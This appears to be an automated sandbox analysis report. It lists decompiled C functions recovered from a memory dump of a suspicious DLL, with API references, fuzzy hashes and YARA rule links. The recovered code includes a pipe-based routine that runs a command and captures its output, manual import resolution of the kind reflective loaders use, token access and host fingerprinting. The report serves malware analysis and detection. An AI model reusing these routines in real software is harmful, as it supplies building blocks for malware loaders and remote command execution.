\u%04X\u%04X, xrefs: 6C4E0988

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: \u%04X$\u%04X\u%04X$Nl
API String ID: 0-1048898045
Opcode ID: 7aabdeb4448f492eb51aa1c434d46d62d83a6862247580f9d6d16e6a2b25c509
Instruction ID: 0fdc95bb30157bd332f2596e8786383326ef1e73561fa57a4858afcb172f4274
Opcode Fuzzy Hash: 7aabdeb4448f492eb51aa1c434d46d62d83a6862247580f9d6d16e6a2b25c509
Instruction Fuzzy Hash: 6F411A3160028597FB10CE5C8D96FAE7A64EF0D31BF230126F9B1E6F41DE21C991A6D1

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DD565, Relevance: 7.6, APIs: 5, Instructions: 87
commemoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E6C4DD565(void* __ecx) {
				char _v8;
				void* _v12;
				char* _t15;
				intOrPtr* _t16;
				void* _t21;
				intOrPtr* _t23;
				intOrPtr* _t24;
				intOrPtr* _t25;
				void* _t30;
				void* _t33;

				_v12 = 0;
				_v8 = 0;
				__imp__CoInitializeEx(0, 0, _t30, _t33, __ecx, __ecx);
				__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0);
				_t15 =  &_v12;
				__imp__CoCreateInstance(0x6c4eb848, 0, 1, 0x6c4eb858, _t15);
				if(_t15 < 0) {
					L5:
					_t23 = _v8;
					if(_t23 != 0) {
						 *((intOrPtr*)( *_t23 + 8))(_t23);
					}
					_t24 = _v12;
					if(_t24 != 0) {
						 *((intOrPtr*)( *_t24 + 8))(_t24);
					}
					_t16 = 0;
				} else {
					__imp__#2(__ecx);
					_t25 = _v12;
					_t21 =  *((intOrPtr*)( *_t25 + 0xc))(_t25, _t15, 0, 0, 0, 0, 0, 0,  &_v8);
					if(_t21 < 0) {
						goto L5;
					} else {
						__imp__CoSetProxyBlanket(_v8, 0xa, 0, 0, 3, 3, 0, 0);
						if(_t21 < 0) {
							goto L5;
						} else {
							_t16 = E6C4D85E5(8);
							if(_t16 == 0) {
								goto L5;
							} else {
								 *((intOrPtr*)(_t16 + 4)) = _v12;
								 *_t16 = _v8;
							}
						}
					}
				}
				return _t16;
			}

0x6c4dd572
0x6c4dd575
0x6c4dd578
0x6c4dd589
0x6c4dd58f
0x6c4dd5a0
0x6c4dd5a8
0x6c4dd5f9
0x6c4dd5f9
0x6c4dd5fe
0x6c4dd603
0x6c4dd603
0x6c4dd606
0x6c4dd60b
0x6c4dd610
0x6c4dd610
0x6c4dd613
0x6c4dd5aa
0x6c4dd5ab
0x6c4dd5b1
0x6c4dd5c2
0x6c4dd5c7
0x00000000
0x6c4dd5c9
0x6c4dd5d6
0x6c4dd5de
0x00000000
0x6c4dd5e0
0x6c4dd5e2
0x6c4dd5ea
0x00000000
0x6c4dd5ec
0x6c4dd5ef
0x6c4dd5f5
0x6c4dd5f5
0x6c4dd5ea
0x6c4dd5de
0x6c4dd5c7
0x6c4dd618

APIs

CoInitializeEx.OLE32(00000000,00000000), ref: 6C4DD578
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 6C4DD589
CoCreateInstance.OLE32(6C4EB848,00000000,00000001,6C4EB858,?), ref: 6C4DD5A0
SysAllocString.OLEAUT32(00000000), ref: 6C4DD5AB
CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 6C4DD5D6

Part of subcall function 6C4D85E5: HeapAlloc.KERNEL32(00000008,?,?,6C4D8F65,00000100,?,6C4D5FAC), ref: 6C4D85F3

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocInitialize$BlanketCreateHeapInstanceProxySecurityString
String ID:
API String ID: 2855449287-0
Opcode ID: b8a596c744f2d523c699c819de6c221110ce34ab651d272ad57abb1ddd4cfcc1
Instruction ID: fc7cc2b2e835b50963bd3cca498b6c62aa3b54c91db9052b91de51aadf59c59e
Opcode Fuzzy Hash: b8a596c744f2d523c699c819de6c221110ce34ab651d272ad57abb1ddd4cfcc1
Instruction Fuzzy Hash: 42210C30601245BBEB24DB66CC5DE5BBF7CEFC7B15F11415EB505A6690DA70AA00CA70

Uniqueness

Uniqueness Score: -1.00%

Function 6C4E2237, Relevance: 7.6, APIs: 5, Instructions: 52
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6C4E2237(char* __eax, char** _a4, long long* _a8) {
				char* _v8;
				long long _v16;
				char* _t9;
				signed char _t11;
				char** _t19;
				char _t22;
				long long _t32;
				long long _t33;

				_t9 = __eax;
				L6C4E2305();
				_t19 = _a4;
				_t22 =  *__eax;
				if( *_t22 != 0x2e) {
					_t9 = strchr( *_t19, 0x2e);
					if(_t9 != 0) {
						 *_t9 =  *_t22;
					}
				}
				L6C4E22C9();
				 *_t9 =  *_t9 & 0x00000000;
				_t11 = strtod( *_t19,  &_v8);
				asm("fst qword [ebp-0xc]");
				_t32 =  *0x6c4e8250;
				asm("fucomp st1");
				asm("fnstsw ax");
				if((_t11 & 0x00000044) != 0) {
					L5:
					st0 = _t32;
					L6C4E22C9();
					if( *_t11 != 0x22) {
						_t33 = _v16;
						goto L8;
					} else {
						return _t11 | 0xffffffff;
					}
				} else {
					_t33 =  *0x6c4e8258;
					asm("fucomp st1");
					asm("fnstsw ax");
					if((_t11 & 0x00000044) != 0) {
						L8:
						 *_a8 = _t33;
						return 0;
					} else {
						goto L5;
					}
				}
			}

0x6c4e2237
0x6c4e223f
0x6c4e2244
0x6c4e2247
0x6c4e224c
0x6c4e2252
0x6c4e225b
0x6c4e225f
0x6c4e225f
0x6c4e225b
0x6c4e2261
0x6c4e2266
0x6c4e226f
0x6c4e2274
0x6c4e2277
0x6c4e2280
0x6c4e2282
0x6c4e2289
0x6c4e229a
0x6c4e229a
0x6c4e229c
0x6c4e22a4
0x6c4e22ab
0x00000000
0x6c4e22a6
0x6c4e22aa
0x6c4e22aa
0x6c4e228b
0x6c4e228b
0x6c4e2291
0x6c4e2293
0x6c4e2298
0x6c4e22ae
0x6c4e22b1
0x6c4e22b6
0x00000000
0x00000000
0x00000000
0x6c4e2298

APIs

localeconv.MSVCRT ref: 6C4E223F
strchr.MSVCRT ref: 6C4E2252
_errno.MSVCRT ref: 6C4E2261
strtod.MSVCRT ref: 6C4E226F
_errno.MSVCRT ref: 6C4E229C

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: _errno$localeconvstrchrstrtod
String ID:
API String ID: 1035490122-0
Opcode ID: 823d6b09e7eb647bf49bf2f19d02fd6de5e4fbb4ff163066defd86823d0cdf30
Instruction ID: 6f38201d96661cbd6d8a6781895f495013fe7f25abf618aa5b5d814d2c54b55d
Opcode Fuzzy Hash: 823d6b09e7eb647bf49bf2f19d02fd6de5e4fbb4ff163066defd86823d0cdf30
Instruction Fuzzy Hash: 4B012435904206AADB22EF28E808F997BB4BF4F366F2302D4D980766D1CF719519D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DCFC6, Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6C4DCFC6(void* __ecx) {
				intOrPtr _t11;
				long _t12;
				intOrPtr _t17;
				intOrPtr _t18;
				struct _OSVERSIONINFOA* _t29;

				_push(__ecx);
				_t29 =  *0x6c4ee688; // 0x2130590
				GetCurrentProcess();
				_t11 = E6C4DBA47();
				_t1 = _t29 + 0x1644; // 0x2131bd4
				_t25 = _t1;
				 *((intOrPtr*)(_t29 + 0x110)) = _t11;
				_t12 = GetModuleFileNameW(0, _t1, 0x105);
				_t33 = _t12;
				if(_t12 != 0) {
					_t12 = E6C4D8F9F(_t25, _t33);
				}
				_t3 = _t29 + 0x228; // 0x21307b8
				 *(_t29 + 0x1854) = _t12;
				 *((intOrPtr*)(_t29 + 0x434)) = E6C4D8F9F(_t3, _t33);
				memset(_t29, 0, 0x9c);
				_t29->dwOSVersionInfoSize = 0x9c;
				GetVersionExA(_t29);
				 *((intOrPtr*)(_t29 + 0x1640)) = GetCurrentProcessId();
				_t17 = E6C4DE3F8(_t3);
				_t7 = _t29 + 0x220; // 0x21307b0
				 *((intOrPtr*)(_t29 + 0x21c)) = _t17;
				_t18 = E6C4DE433(_t7);
				 *((intOrPtr*)(_t29 + 0x218)) = _t18;
				return _t18;
			}

0x6c4dcfc9
0x6c4dcfcb
0x6c4dcfd2
0x6c4dcfda
0x6c4dcfe4
0x6c4dcfe4
0x6c4dcfea
0x6c4dcff3
0x6c4dcff9
0x6c4dcffb
0x6c4dcfff
0x6c4dcfff
0x6c4dd004
0x6c4dd00a
0x6c4dd01a
0x6c4dd024
0x6c4dd02c
0x6c4dd02f
0x6c4dd03b
0x6c4dd041
0x6c4dd046
0x6c4dd04c
0x6c4dd052
0x6c4dd058
0x6c4dd060

APIs

GetCurrentProcess.KERNEL32(?,?,02130590,?,6C4D3538), ref: 6C4DCFD2
GetModuleFileNameW.KERNEL32(00000000,02131BD4,00000105,?,?,02130590,?,6C4D3538), ref: 6C4DCFF3
memset.MSVCRT ref: 6C4DD024
GetVersionExA.KERNEL32(02130590,02130590,?,6C4D3538), ref: 6C4DD02F
GetCurrentProcessId.KERNEL32(?,6C4D3538), ref: 6C4DD035

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentProcess$FileModuleNameVersionmemset
String ID:
API String ID: 3581039275-0
Opcode ID: 7b55f63bb943f34f53393054881c619795593f0c7c746bf096517552ff30d9a5
Instruction ID: a410c0c73a4a79aac93dd15945c6de2ee33e9ebac5c2b50eaa3f35bf666976a8
Opcode Fuzzy Hash: 7b55f63bb943f34f53393054881c619795593f0c7c746bf096517552ff30d9a5
Instruction Fuzzy Hash: 27012970A01B009BDB20FB70C859EEABBF9EB89314F02081EE55692380EB7465458A95

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DB988, Relevance: 7.5, APIs: 5, Instructions: 32
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6C4DB988(void* __ecx) {
				void* _v8;
				void* _t9;

				if(OpenThreadToken(GetCurrentThread(), 8, 0,  &_v8) != 0 || GetLastError() == 0x3f0 && OpenProcessToken(GetCurrentProcess(), 8,  &_v8) != 0) {
					_t9 = _v8;
				} else {
					_t9 = 0;
				}
				return _t9;
			}

0x6c4db9a7
0x6c4db9d4
0x6c4db9d0
0x6c4db9d0
0x6c4db9d0
0x6c4db9d9

APIs

GetCurrentThread.KERNEL32(00000008,00000000,6C4D0000,00000000,?,?,6C4DBABE,74EC17D9,6C4D0000), ref: 6C4DB99B
OpenThreadToken.ADVAPI32(00000000,?,?,6C4DBABE,74EC17D9,6C4D0000), ref: 6C4DB9A2
GetLastError.KERNEL32(?,?,6C4DBABE,74EC17D9,6C4D0000), ref: 6C4DB9A9
GetCurrentProcess.KERNEL32(00000008,6C4D0000,?,?,6C4DBABE,74EC17D9,6C4D0000), ref: 6C4DB9C2
OpenProcessToken.ADVAPI32(00000000,?,?,6C4DBABE,74EC17D9,6C4D0000), ref: 6C4DB9C9

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentOpenProcessThreadToken$ErrorLast
String ID:
API String ID: 102224034-0
Opcode ID: 570031cfa440903789929f0896c05c1afb3570210c2d3c6cdcab8bd3fd019fed
Instruction ID: 29329192b506b203e207abfaa09113755eeadf39df1167ef3e4bb647d569ce3f
Opcode Fuzzy Hash: 570031cfa440903789929f0896c05c1afb3570210c2d3c6cdcab8bd3fd019fed
Instruction Fuzzy Hash: ECF05E71640209ABEF40FBAA8848F6A33BCFB09745F060456F602E3641D660BA018761

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DA9F9, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 177
pipeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6C4DA9F9(signed int __ecx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				signed int _v24;
				char _v28;
				char _v32;
				char _v36;
				struct _SECURITY_ATTRIBUTES _v48;
				intOrPtr _v60;
				char _v64;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				short _v92;
				intOrPtr _v96;
				void _v140;
				intOrPtr _t77;
				void* _t79;
				intOrPtr _t85;
				intOrPtr _t87;
				intOrPtr _t89;
				intOrPtr _t92;
				intOrPtr _t98;
				intOrPtr _t100;
				intOrPtr _t102;
				long _t111;
				intOrPtr _t115;
				intOrPtr _t126;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t130;

				_t111 = 0;
				_v24 = __ecx;
				_v12 = 0;
				_v20 = 0;
				_t127 = 0;
				_v8 = 0;
				_v16 = 0;
				_v48.nLength = 0xc;
				_v48.lpSecurityDescriptor = 0;
				_v48.bInheritHandle = 1;
				_v28 = 0;
				memset( &_v140, 0, 0x44);
				asm("stosd");
				_t130 = _t129 + 0xc;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				if(CreatePipe( &_v12,  &_v20,  &_v48, 0) == 0) {
					L18:
					return 0;
				}
				if(CreatePipe( &_v8,  &_v16,  &_v48, 0) == 0) {
					L13:
					E6C4D85FB( &_v28, 0);
					if(_v20 != 0) {
						_t77 =  *0x6c4ee684; // 0x21afaa0
						 *((intOrPtr*)(_t77 + 0x30))(_v20);
					}
					if(_v8 != 0) {
						_t115 =  *0x6c4ee684; // 0x21afaa0
						 *((intOrPtr*)(_t115 + 0x30))(_v8);
					}
					return _t111;
				}
				_t79 = _v16;
				_v76 = _t79;
				_v80 = _t79;
				_v84 = _v12;
				_v140 = 0x44;
				_v96 = 0x101;
				_v92 = 0;
				_t126 = E6C4D85E5(0x1001);
				_v28 = _t126;
				if(_t126 == 0) {
					goto L18;
				}
				_push( &_v64);
				_push( &_v140);
				_t85 =  *0x6c4ee684; // 0x21afaa0
				_push(0);
				_push(0);
				_push(0x8000000);
				_push(1);
				_push(0);
				_push(0);
				_push(_v24);
				_push(0);
				if( *((intOrPtr*)(_t85 + 0x38))() == 0) {
					goto L13;
				}
				_t87 =  *0x6c4ee684; // 0x21afaa0
				 *((intOrPtr*)(_t87 + 0x30))(_v12);
				_t89 =  *0x6c4ee684; // 0x21afaa0
				 *((intOrPtr*)(_t89 + 0x30))(_v16);
				_v24 = _v24 & 0;
				do {
					_t92 =  *0x6c4ee684; // 0x21afaa0
					_v36 =  *((intOrPtr*)(_t92 + 0x88))(_v8, _t126, 0x1000,  &_v24, 0);
					 *((char*)(_v24 + _t126)) = 0;
					if(_t111 == 0) {
						_t127 = E6C4D9187(_t126, 0);
					} else {
						_push(0);
						_push(_t126);
						_v32 = _t127;
						_t127 = E6C4D9273(_t127);
						E6C4D85FB( &_v32, 0xffffffff);
						_t130 = _t130 + 0x14;
					}
					_t111 = _t127;
					_v32 = _t127;
				} while (_v36 != 0);
				_push( &_v36);
				_push(E6C4DC3BB(_t127));
				_t98 =  *0x6c4ee68c; // 0x21afc68
				_push(_t127);
				if( *((intOrPtr*)(_t98 + 0xb8))() != 0) {
					L12:
					_t100 =  *0x6c4ee684; // 0x21afaa0
					 *((intOrPtr*)(_t100 + 0x30))(_v64);
					_t102 =  *0x6c4ee684; // 0x21afaa0
					 *((intOrPtr*)(_t102 + 0x30))(_v60);
					goto L13;
				}
				_t128 = E6C4D9237(_t127);
				if(_t128 == 0) {
					goto L12;
				}
				E6C4D85FB( &_v32, 0);
				return _t128;
			}

0x6c4daa04
0x6c4daa06
0x6c4daa12
0x6c4daa17
0x6c4daa1a
0x6c4daa1c
0x6c4daa1f
0x6c4daa22
0x6c4daa29
0x6c4daa2c
0x6c4daa33
0x6c4daa36
0x6c4daa40
0x6c4daa41
0x6c4daa44
0x6c4daa46
0x6c4daa47
0x6c4daa5e
0x6c4dabde
0x00000000
0x6c4dabde
0x6c4daa75
0x6c4dabaa
0x6c4dabb0
0x6c4dabbb
0x6c4dabbd
0x6c4dabc5
0x6c4dabc5
0x6c4dabcc
0x6c4dabce
0x6c4dabd7
0x6c4dabd7
0x00000000
0x6c4dabda
0x6c4daa7b
0x6c4daa7e
0x6c4daa81
0x6c4daa87
0x6c4daa91
0x6c4daa9b
0x6c4daaa2
0x6c4daaab
0x6c4daaad
0x6c4daab3
0x00000000
0x00000000
0x6c4daabe
0x6c4daac5
0x6c4daac6
0x6c4daacb
0x6c4daacc
0x6c4daacd
0x6c4daad2
0x6c4daad4
0x6c4daad5
0x6c4daad6
0x6c4daad9
0x6c4daadf
0x00000000
0x00000000
0x6c4daae5
0x6c4daaed
0x6c4daaf0
0x6c4daaf8
0x6c4daafb
0x6c4daafe
0x6c4dab04
0x6c4dab18
0x6c4dab1e
0x6c4dab24
0x6c4dab4d
0x6c4dab26
0x6c4dab26
0x6c4dab28
0x6c4dab2a
0x6c4dab32
0x6c4dab3a
0x6c4dab3f
0x6c4dab3f
0x6c4dab53
0x6c4dab55
0x6c4dab55
0x6c4dab5d
0x6c4dab65
0x6c4dab66
0x6c4dab6b
0x6c4dab74
0x6c4dab94
0x6c4dab94
0x6c4dab9c
0x6c4dab9f
0x6c4daba7
0x00000000
0x6c4daba7
0x6c4dab7d
0x6c4dab81
0x00000000
0x00000000
0x6c4dab89
0x00000000

APIs

memset.MSVCRT ref: 6C4DAA36
CreatePipe.KERNEL32(?,?,0000000C,00000000,00000000,00000000,00000000), ref: 6C4DAA5A
CreatePipe.KERNEL32(6C4D658A,?,0000000C,00000000), ref: 6C4DAA71

Part of subcall function 6C4D85E5: HeapAlloc.KERNEL32(00000008,?,?,6C4D8F65,00000100,?,6C4D5FAC), ref: 6C4D85F3

Part of subcall function 6C4D85FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 6C4D8641

Strings

D, xrefs: 6C4DAA91

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateHeapPipe$AllocFreememset
String ID: D
API String ID: 488076629-2746444292
Opcode ID: edc633af50a2ab017d69589587106e7057b41fd57c93ee471383f5f401733cab
Instruction ID: fd591f31b47a4bb01e157b40672073b1a57dc90462086442f959616d8abd86ee
Opcode Fuzzy Hash: edc633af50a2ab017d69589587106e7057b41fd57c93ee471383f5f401733cab
Instruction Fuzzy Hash: 30514E71D00208AFDF41DFA4C894FDEBBB9EF08304F52416AF611E7251DB75A9058B95

Uniqueness

Uniqueness Score: -1.00%

Function 6C4E24D3, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151
libraryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E6C4E24D3(signed int __eax, intOrPtr _a4) {
				intOrPtr* _v8;
				signed int* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				intOrPtr _v40;
				signed int _v44;
				struct HINSTANCE__* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _t109;
				signed int _t112;
				signed int _t115;
				void* _t163;

				_v44 = _v44 & 0x00000000;
				if(_a4 != 0) {
					_v48 = GetModuleHandleA("kernel32.dll");
					_v40 = E6C4DE0DB(_v48, "GetProcAddress");
					_v52 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
					_v32 = _v52;
					_t109 = 8;
					if( *((intOrPtr*)(_v32 + (_t109 << 0) + 0x78)) == 0) {
						L24:
						return 0;
					}
					_v56 = 0x80000000;
					_t112 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t112 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_v8 = _v8 + 0x14;
					}
					_t115 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t115 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t34 = _v8 + 0xc; // 0xffff
						_v36 = LoadLibraryA( *_t34 + _a4);
						if(_v36 != 0) {
							if( *_v8 == 0) {
								_t43 = _v8 + 0x10; // 0xb8
								_v12 =  *_t43 + _a4;
							} else {
								_v12 =  *_v8 + _a4;
							}
							_v28 = _v28 & 0x00000000;
							while( *_v12 != 0) {
								_v24 = _v24 & 0x00000000;
								_v16 = _v16 & 0x00000000;
								_v64 = _v64 & 0x00000000;
								_v20 = _v20 & 0x00000000;
								if(( *_v12 & _v56) == 0) {
									_v60 =  *_v12 + _a4;
									_v20 = _v60 + 2;
									_t73 = _v8 + 0x10; // 0xb8
									_v24 =  *((intOrPtr*)( *_t73 + _a4 + _v28));
									_v16 = _v40(_v36, _v20);
								} else {
									_v24 =  *_v12;
									_v20 = _v24 & 0x0000ffff;
									_v16 = _v40(_v36, _v20);
								}
								if(_v24 != _v16) {
									_v44 = _v44 + 1;
									if( *((intOrPtr*)(_v8 + 0x10)) == 0) {
										 *_v12 = _v16;
									} else {
										_t89 = _v8 + 0x10; // 0xb8
										 *( *_t89 + _a4 + _v28) = _v16;
									}
								}
								_v12 =  &(_v12[1]);
								_v28 = _v28 + 4;
							}
							_v8 = _v8 + 0x14;
							continue;
						}
						_t163 = 0xfffffffd;
						return _t163;
					}
					goto L24;
				}
				return __eax | 0xffffffff;
			}

0x6c4e24d9
0x6c4e24e1
0x6c4e24f6
0x6c4e2508
0x6c4e2514
0x6c4e251a
0x6c4e251f
0x6c4e252b
0x6c4e2696
0x00000000
0x6c4e2696
0x6c4e2531
0x6c4e253a
0x6c4e2548
0x6c4e254b
0x6c4e255a
0x6c4e255a
0x6c4e2561
0x6c4e256f
0x6c4e2572
0x6c4e2582
0x6c4e258f
0x6c4e2596
0x6c4e25a6
0x6c4e25b8
0x6c4e25be
0x6c4e25a8
0x6c4e25b0
0x6c4e25b0
0x6c4e25c1
0x6c4e25c5
0x6c4e25d1
0x6c4e25d5
0x6c4e25d9
0x6c4e25dd
0x6c4e25e9
0x6c4e2614
0x6c4e261c
0x6c4e2622
0x6c4e262e
0x6c4e263a
0x6c4e25eb
0x6c4e25f0
0x6c4e25fb
0x6c4e2607
0x6c4e2607
0x6c4e2643
0x6c4e2649
0x6c4e2653
0x6c4e266f
0x6c4e2655
0x6c4e2658
0x6c4e2664
0x6c4e2664
0x6c4e2653
0x6c4e2677
0x6c4e2680
0x6c4e2680
0x6c4e268e
0x00000000
0x6c4e268e
0x6c4e259a
0x00000000
0x6c4e259a
0x00000000
0x6c4e2572
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 6C4E24F0
LoadLibraryA.KERNEL32(00000000), ref: 6C4E2589

Strings

GetProcAddress, xrefs: 6C4E24F9
kernel32.dll, xrefs: 6C4E24EB

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLibraryLoadModule
String ID: GetProcAddress$kernel32.dll
API String ID: 4133054770-1584408056
Opcode ID: 4a2ae0bd717d37394a9027e02f3986bc890f1f5793bfba788476f4b860b0c2a0
Instruction ID: 0f9378a2f87e91b63786920e333a1c26522c0354dbf0063567bb503bdbbb8baf
Opcode Fuzzy Hash: 4a2ae0bd717d37394a9027e02f3986bc890f1f5793bfba788476f4b860b0c2a0
Instruction Fuzzy Hash: CF618D75900209EFDB10CF98C585FADBBF1BF08326F258599E815AB391D734AA81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DC510, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 117
libraryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6C4DC510(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				void _v140;
				signed char _t14;
				char _t15;
				intOrPtr _t20;
				void* _t25;
				intOrPtr _t26;
				intOrPtr _t32;
				WCHAR* _t34;
				intOrPtr _t35;
				struct HINSTANCE__* _t37;
				int _t38;
				intOrPtr _t46;
				void* _t47;
				intOrPtr _t50;
				void* _t60;
				void* _t61;
				char _t62;
				char* _t63;
				void* _t65;
				intOrPtr _t66;
				char _t68;

				_t65 = __esi;
				_t61 = __edi;
				_t47 = __ebx;
				_t50 =  *0x6c4ee688; // 0x2130590
				_t1 = _t50 + 0x1898; // 0x0
				_t14 =  *_t1;
				if(_t14 == 0x100 ||  *((intOrPtr*)(_t50 + 4)) >= 0xa && (_t14 & 0x00000004) != 0) {
					_t15 = E6C4D95C2(_t50, 0xb62);
					_t66 =  *0x6c4ee688; // 0x2130590
					_t62 = _t15;
					_t67 = _t66 + 0xb0;
					_v8 = _t62;
					E6C4D9621( &_v140, 0x40, L"%08x", E6C4DD442(_t66 + 0xb0, E6C4DC3BB(_t66 + 0xb0), 0));
					_t20 =  *0x6c4ee688; // 0x2130590
					_t7 = _t20 + 0xa8; // 0x1
					asm("sbb eax, eax");
					_t25 = E6C4D95C2(_t67, ( ~( *_t7) & 0x00000068) + 0x615);
					_t63 = "\\";
					_t26 =  *0x6c4ee688; // 0x2130590
					_t68 = E6C4D92C6(_t26 + 0x1020);
					_v12 = _t68;
					E6C4D85B6( &_v8);
					_t32 =  *0x6c4ee688; // 0x2130590
					_t34 = E6C4D92C6(_t32 + 0x122a);
					 *0x6c4ee784 = _t34;
					_t35 =  *0x6c4ee684; // 0x21afaa0
					 *((intOrPtr*)(_t35 + 0x110))(_t68, _t34, 0, _t63,  &_v140, ".", L"dll", 0, _t63, _t25, _t63, _t62, 0, _t61, _t65, _t47);
					_t37 = LoadLibraryW( *0x6c4ee784);
					 *0x6c4ee77c = _t37;
					if(_t37 == 0) {
						_t38 = 0;
					} else {
						_push(_t37);
						_t60 = 0x28;
						_t38 = E6C4DE1B3(0x6c4ebb40, _t60);
					}
					 *0x6c4ee780 = _t38;
					E6C4D85FB( &_v12, 0xfffffffe);
					memset( &_v140, 0, 0x80);
					if( *0x6c4ee780 != 0) {
						goto L10;
					} else {
						E6C4D85FB(0x6c4ee784, 0xfffffffe);
						goto L8;
					}
				} else {
					L8:
					if( *0x6c4ee780 == 0) {
						_t46 =  *0x6c4ee6bc; // 0x21afbc8
						 *0x6c4ee780 = _t46;
					}
					L10:
					return 1;
				}
			}

0x6c4dc510
0x6c4dc510
0x6c4dc510
0x6c4dc513
0x6c4dc51f
0x6c4dc51f
0x6c4dc52a
0x6c4dc546
0x6c4dc54b
0x6c4dc554
0x6c4dc556
0x6c4dc55e
0x6c4dc57f
0x6c4dc584
0x6c4dc589
0x6c4dc591
0x6c4dc59c
0x6c4dc5a3
0x6c4dc5aa
0x6c4dc5bb
0x6c4dc5c1
0x6c4dc5c4
0x6c4dc5db
0x6c4dc5e7
0x6c4dc5ef
0x6c4dc5f6
0x6c4dc5fc
0x6c4dc608
0x6c4dc60e
0x6c4dc615
0x6c4dc628
0x6c4dc617
0x6c4dc617
0x6c4dc61a
0x6c4dc620
0x6c4dc625
0x6c4dc62a
0x6c4dc635
0x6c4dc647
0x6c4dc659
0x00000000
0x6c4dc65b
0x6c4dc662
0x00000000
0x6c4dc668
0x6c4dc669
0x6c4dc669
0x6c4dc670
